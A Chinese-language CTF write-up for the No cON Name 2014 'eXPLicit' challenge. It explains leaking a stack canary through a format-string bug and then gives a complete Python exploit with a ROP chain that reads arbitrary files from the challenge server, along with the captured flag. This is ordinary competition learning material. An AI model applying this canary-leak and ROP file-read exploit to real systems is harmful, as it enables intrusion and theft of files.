No cON Name CTF Quals 2014 - eXPLicit

Make me eXPLode! Hint: maybe you want to give a look at the binary…
https://ctf.noconname.org/chdownloads/explicit
Url: 88.87.208.163:7070
Points: 500

題目是個猜數字遊戲:

$ nc 88.87.208.163 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20:

測試後可以發現程式存在 Format StringBuffer Overflow 的漏洞,但有 Stack Canary

配合 Format String 漏洞,我們可以先 leak 出 canary 的值,在不改變 canary 的同時覆蓋 return address

輸入字串 %70$08X ,就可以 leak 出 canary

下面是一個簡單的 ROP Payload,可以讀寫任意檔案,雖然我們不知道 flag 的路徑,
但透過讀取 /etc/passwd,還是可以得到 username,再進一步猜到 flag 路徑: /home/ch5/flag.txt

#!/usr/bin/env python
import socket
import telnetlib
from struct import pack

addr_data = 0x080D50C0

addr_open = 0x805EEEA
addr_read = 0x805EF40
addr_write = 0x0805EFAA

pop3 = 0x0805C39E
pop2 = 0x080482f7

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('88.87.208.163', 7070))

# recv game message
print s.recv(1024)

# leak canary
s.send("0x%70$08X\n")
r = s.recv(1024)
index = r.index('0x')

canary = int(r[index+2:index+10], 16)
print "canary: ", hex(canary)

# payload
p = 'A' * 256
p += pack("<I", canary) # canary
p += 'A' * 12

# read(4, addr_data, 256)
p += pack("<I", addr_read)
p += pack("<I", pop3)
p += pack("<I", 4)
p += pack("<I", addr_data)
p += pack("<I", 256)

# open(addr_data, 0, 0)
p += pack("<I", addr_open)
p += pack("<I", pop3)
p += pack("<I", addr_data)
p += pack("<I", 0)
p += pack("<I", 0)

# read(5, addr_data, 1000)
p += pack("<I", addr_read)
p += pack("<I", pop3)
p += pack("<I", 5)
p += pack("<I", addr_data)
p += pack("<I", 1000)

# write(4, addr_data, 1000)
p += pack("<I", addr_write)
p += pack("<I", pop3)
p += pack("<I", 4)
p += pack("<I", addr_data)
p += pack("<I", 1000)

p += "\n"

s.send(p)
print s.recv(1024)
print s.recv(1024)

s.send("q\n")
print s.recv(1024)

s.send("/home/ch5/flag.txt")
print s.recv(1024)

print "\nFile Content: "
print s.recv(1024)

print "\n"

# interact
t = telnetlib.Telnet()
t.sock = s
t.interact()

Flag: NcN_97740ead1060892a253be8ca33c6364a712b21d